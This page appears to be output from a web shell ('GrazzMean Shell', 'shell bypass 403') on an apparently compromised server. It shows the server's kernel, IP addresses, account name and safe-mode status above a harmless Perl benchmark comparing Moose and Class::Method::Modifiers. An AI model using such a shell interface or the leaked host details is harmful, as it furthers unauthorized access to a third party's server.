shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Moose/benchmarks/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 18.119.255.135
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : method_modifiers.pl
#!/usr/bin/perl

### MODULES

{
    package PlainParent;
    sub new { bless {} => shift }
    sub method { "P" }
}
{
    package MooseParent;
    use Moose;
    sub method { "P" }
}

{
    package CMMChild::Before;
    use Class::Method::Modifiers;
    use base 'PlainParent';

    before method => sub { "B" };
}
{
    package MooseBefore;
    use Moose;
    extends 'MooseParent';

    before method => sub { "B" };
}

{
    package CMMChild::Around;
    use Class::Method::Modifiers;
    use base 'PlainParent';

    around method => sub { shift->() . "A" };
}
{
    package MooseAround;
    use Moose;
    extends 'MooseParent';

    around method => sub { shift->() . "A" };
}

{
    package CMMChild::AllThree;
    use Class::Method::Modifiers;
    use base 'PlainParent';

    before method => sub { "B" };
    around method => sub { shift->() . "A" };
    after  method => sub { "Z" };
}
{
    package MooseAllThree;
    use Moose;
    extends 'MooseParent';

    before method => sub { "B" };
    around method => sub { shift->() . "A" };
    after  method => sub { "Z" };
}
{
    package CMM::Install;
    use Class::Method::Modifiers;
    use base 'PlainParent';
}
{
    package Moose::Install;
    use Moose;
    extends 'MooseParent';
}

use Benchmark qw(cmpthese);
use Benchmark ':hireswallclock';

my $rounds = -5;

my $cmm_before   = CMMChild::Before->new();
my $cmm_around   = CMMChild::Around->new();
my $cmm_allthree = CMMChild::AllThree->new();

my $moose_before   = MooseBefore->new();
my $moose_around   = MooseAround->new();
my $moose_allthree = MooseAllThree->new();

print "\nBEFORE\n";
cmpthese($rounds, {
    Moose                       => sub { $moose_before->method() },
    ClassMethodModifiers        => sub { $cmm_before->method() },
}, 'noc');

print "\nAROUND\n";
cmpthese($rounds, {
    Moose                       => sub { $moose_around->method() },
    ClassMethodModifiers        => sub { $cmm_around->method() },
}, 'noc');

print "\nALL THREE\n";
cmpthese($rounds, {
    Moose                       => sub { $moose_allthree->method() },
    ClassMethodModifiers        => sub { $cmm_allthree->method() },
}, 'noc');

print "\nINSTALL AROUND\n";
cmpthese($rounds, {
    Moose                       => sub {
        package Moose::Install;
        Moose::Install::around(method => sub {});
    },
    ClassMethodModifiers        => sub {
        package CMM::Install;
        CMM::Install::around(method => sub {});
    },
}, 'noc');
© 2025 GrazzMean